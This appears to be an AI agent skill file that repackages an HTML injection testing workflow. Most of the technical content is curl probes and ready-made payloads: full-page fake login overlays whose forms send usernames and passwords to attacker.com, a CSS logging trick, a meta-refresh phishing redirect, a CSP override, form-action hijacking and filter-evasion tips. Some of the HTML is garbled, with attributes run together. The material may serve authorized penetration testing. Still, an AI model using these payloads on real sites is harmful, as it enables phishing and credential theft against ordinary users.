HTML Injection Testing workflow skill. Use this skill when the user needs Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.
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HTML Injection Testing workflow skill. Use this skill when the user needs Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.
This public intake copy packages plugins/antigravity-awesome-skills-claude/skills/html-injection-testing from https://github.com/sickn33/antigravity-awesome-skills into the native Omni Skills editorial shape without hiding its origin.
Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.
This intake keeps the copied upstream files intact and uses the external_source block in metadata.json plus ORIGIN.md as the provenance anchor for review.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # HTML Injection Testing
Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Prerequisites, Outputs and Deliverables, Constraints and Limitations.
When to Use This Skill
Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.
This skill is applicable to execute the workflow or actions described in the overview.
Use when the request clearly matches the imported source intent: Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages,....
Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
Use when provenance needs to stay visible in the answer, PR, or review packet.
Use when copied upstream references, examples, or scripts materially improve the answer.
Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.
Operating Table
Situation
Start here
Why it matters
First-time use
metadata.json
Confirms repository, branch, commit, and imported path through the external_source block before touching the copied workflow
Provenance review
ORIGIN.md
Gives reviewers a plain-language audit trail for the imported source
Workflow execution
SKILL.md
Starts with the smallest copied file that materially changes execution
Supporting context
SKILL.md
Adds the next most relevant copied source file without loading the entire package
Handoff decision
## Related Skills
Helps the operator switch to a stronger native skill when the task drifts
Workflow
This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.
HTML injection: Only HTML tags are rendered
XSS: JavaScript code is executed
HTML injection is often stepping stone to XSS
Modify website appearance (defacement)
Create fake login forms (phishing)
Inject malicious links
Display misleading content
Imported Workflow Notes
Imported: Core Workflow
Phase 1: Understanding HTML Injection
HTML injection occurs when user input is reflected in web pages without proper sanitization:
1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page
# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
Phase 4: Types of HTML Injection
Stored HTML Injection
Payload persists in database:
<!-- Profile bio injection -->
Name: John Doe
Bio: <divstyle="position:absolute;top:0;left:0;width:100%;height:100%;background:white;"><h1>Site Under Maintenance</h1><p>Please login at <ahref="http://attacker.com/login">portal.company.com</a></p></div><!-- Comment injection -->
Great article!
<formaction="http://attacker.com/steal"method="POST"><inputname="username"placeholder="Session expired. Enter username:"><inputname="password"type="password"placeholder="Password:"><inputtype="submit"value="Login"></form>
# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
http://target.com/submit
# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
http://target.com/register
URL-Based Injection
Inject into displayed URLs:
<!-- If URL is displayed on page -->
http://target.com/page/<h1>Injected</h1><!-- Path-based injection -->
http://target.com/users/<imgsrc=x>/profile
Phase 5: Phishing Attack Construction
Create convincing phishing forms:
<!-- Fake login form overlay --><divstyle="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999;padding:50px;"><h2>Session Expired</h2><p>Your session has expired. Please log in again.</p><formaction="http://attacker.com/capture"method="POST"><label>Username:</label><br><inputtype="text"name="username"style="width:200px;"><br><br><label>Password:</label><br><inputtype="password"name="password"style="width:200px;"><br><br><inputtype="submit"value="Login"></form></div><!-- Hidden credential stealer --><style>input { background: url('http://attacker.com/log?data=') }
</style><formaction="http://attacker.com/steal"method="POST"><inputname="user"placeholder="Verify your username"><inputname="pass"type="password"placeholder="Verify your password"><button>Verify</button></form>
<!-- Redirect via meta refresh --><metahttp-equiv="refresh"content="0;url=http://attacker.com/phish"><!-- CSP bypass attempt --><metahttp-equiv="Content-Security-Policy"content="default-src *">
Form Action Override
<!-- Hijack existing form --><formaction="http://attacker.com/steal"><!-- If form already exists, add input --><inputtype="hidden"name="extra"value="data"></form>
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
Using OWASP ZAP
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
Examples
Example 1: Ask for the upstream workflow directly
Use @html-injection-testing to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.
Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.
Example 2: Ask for a provenance-grounded review
Review @html-injection-testing against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.
Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.
Example 3: Narrow the copied support files before execution
Use @html-injection-testing for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.
Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.
Example 4: Build a reviewer packet
Review @html-injection-testing using the copied upstream files plus provenance, then summarize any gaps before merge.
Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.
Best Practices
Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.
Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
Treat generated examples as scaffolding; adapt them to the concrete task before execution.
Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.
Troubleshooting
Problem: The operator skipped the imported context and answered too generically
Symptoms: The result ignores the upstream workflow in plugins/antigravity-awesome-skills-claude/skills/html-injection-testing, fails to mention provenance, or does not use any copied source files at all.
Solution: Re-open metadata.json, ORIGIN.md, and the most relevant copied upstream files. Check the external_source block first, then restate the provenance before continuing.
Problem: The imported workflow feels incomplete during review
Symptoms: Reviewers can see the generated SKILL.md, but they cannot quickly tell which references, examples, or scripts matter for the current task.
Solution: Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.
Problem: The task drifted into a different specialization
Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better.
Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.
Imported Troubleshooting Notes
Imported: Troubleshooting
Issue
Solutions
HTML not rendering
Check if output HTML-encoded; try encoding variations; verify HTML context
Payload stripped
Use encoding variations; try tag splitting; test null bytes; nested tags
XSS not working (HTML only)
JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects
Related Skills
@00-andruia-consultant - Use when the work is better handled by that native specialization after this imported skill establishes context.
@00-andruia-consultant-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.
@10-andruia-skill-smith - Use when the work is better handled by that native specialization after this imported skill establishes context.
@10-andruia-skill-smith-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.
Additional Resources
Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.
Resource family
What it gives the reviewer
Example path
references
copied reference notes, guides, or background material from upstream
references/n/a
examples
worked examples or reusable prompts copied from upstream
examples/n/a
scripts
upstream helper scripts that change execution or validation
scripts/n/a
agents
routing or delegation notes that are genuinely part of the imported package
agents/n/a
assets
supporting assets or schemas copied from the source package
